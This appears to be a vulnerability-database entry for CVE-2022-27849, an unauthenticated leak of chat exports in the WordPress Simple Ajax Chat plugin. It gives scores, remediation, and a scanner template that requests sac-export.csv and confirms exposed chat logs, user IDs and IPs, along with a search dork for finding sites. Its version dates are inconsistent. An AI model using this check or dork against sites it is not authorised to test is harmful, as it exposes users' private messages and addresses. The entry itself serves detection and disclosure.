5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.005 Low
EPSS
Percentile
76.6%
WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.
id: CVE-2022-27849
info:
name: WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability
author: random-robbie
severity: high
description: |
WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.
impact: |
An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or private messages.
remediation: |
Update to the latest version of the WordPress Simple Ajax Chat plugin to fix the vulnerability.
reference:
- https://wordpress.org/plugins/simple-ajax-chat/#developers
- https://patchstack.com/database/vulnerability/simple-ajax-chat/wordpress-simple-ajax-chat-plugin-20220115-sensitive-information-disclosure-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2022-27849
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-27849
cwe-id: CWE-200
epss-score: 0.00713
epss-percentile: 0.80067
cpe: cpe:2.3:a:plugin-planet:simple_ajax_chat:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: plugin-planet
product: simple_ajax_chat
framework: wordpress
google-query: inurl:/wp-content/plugins/simple-ajax-chat/
tags: cve,cve2022,wp,wordpress,wp-plugin,disclosure,plugin-planet
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/simple-ajax-chat/sac-export.csv'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Chat Log"'
- '"User IP"'
- '"User ID"'
condition: and
- type: word
part: header
words:
- text/csv
- type: status
status:
- 200
# digest: 490a0046304402200ac201e5da2db9585d76d187f6a6ede0350f1c6230c3c80676234cb41a9e8259022037d381d175e583e6490612c81f07c12a325a2dc7252ba6dcc9f5d27cc59d94d2:922c64590222798bb761d5b6d8e72950
github.com/ARPSyndicate/cvemon
github.com/ARPSyndicate/kenzer-templates
nvd.nist.gov/vuln/detail/CVE-2022-27849
patchstack.com/database/vulnerability/simple-ajax-chat/wordpress-simple-ajax-chat-plugin-20220115-sensitive-information-disclosure-vulnerability
wordpress.org/plugins/simple-ajax-chat/#developers
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.005 Low
EPSS
Percentile
76.6%